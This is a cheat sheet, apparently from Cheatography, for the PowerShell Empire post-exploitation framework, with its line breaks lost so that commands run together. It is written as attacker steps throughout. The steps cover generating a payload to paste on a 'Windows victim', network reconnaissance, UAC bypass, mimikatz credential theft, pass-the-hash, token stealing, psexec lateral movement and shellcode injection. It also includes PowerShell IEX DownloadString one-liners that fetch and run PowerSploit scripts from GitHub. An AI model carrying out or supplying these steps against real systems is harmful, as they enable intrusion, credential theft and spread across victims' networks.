git clone https://github.com/powershellempire/empire sudo apt-get install python-pip python-opensslcd empirecd setup sudo ./install.shsudo ./empirelistenersset Name listenernameexecuteusestager launcher listenernameexecute (generate payload, copy & paste into cmd on Windows victim)agentsusestager then hit TAB twice for more options.agentsinteract AGENTNAMEsysinfousemodule situational_awareness/network/arpscanset Range 10.0.0.0-10.0.0.255executeusemodule situational_awareness/network/reverse_dnsset Range 10.0.0.0-10.0.0.255executeusemodule situational_awareness/network/powerview/user_hunterexecuteusemodule situational_awareness/network/powerview/share_finderset CheckShareAccess Trueexecuteagentsinteract AGENTNAMEbypassuac LISTENERNAMEyagents (look for a user with * as this indicates admin)interact AGENTNAMEmimikatz (collect creds, etc...)credsdir \\COMPUTERNAME\C$credspth 1 (passthehash using cred 1, a PID will be created)steal_token PIDNUMdir \\COMPUTERNAME\C$usemodule situational_awareness/network/powerview/find_localadmin_accessinfoexecute (computer-names vulnerable to psexec will appear)usemodule lateral_movement/invoke_psexecinfoset Listener test1set ComputerName WIN10COMP.blah.com (machine to attack)infoexecuteinteract NAME (target name from the 'agents' menu)usemodule code_execution/invoke_shellcodeinfoset lhost IPADDRESS (the IP in your multi-handler session)set lport PORT (the port in your multi-handler session)execute (wait...)cmdpowershellIEX (New-Object Net.WebClient).DownloadString("https://github.com/PowerShellMafia/PowerSploit/raw/master/CodeExecution/Invoke-Shellcode.ps1")cmdpowershellIEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/Privesc.psd1")Invoke-AllChecksNo comments yet.
Cheatography n. The art of mapping complex subjects into clear, instantly navigable reference guides.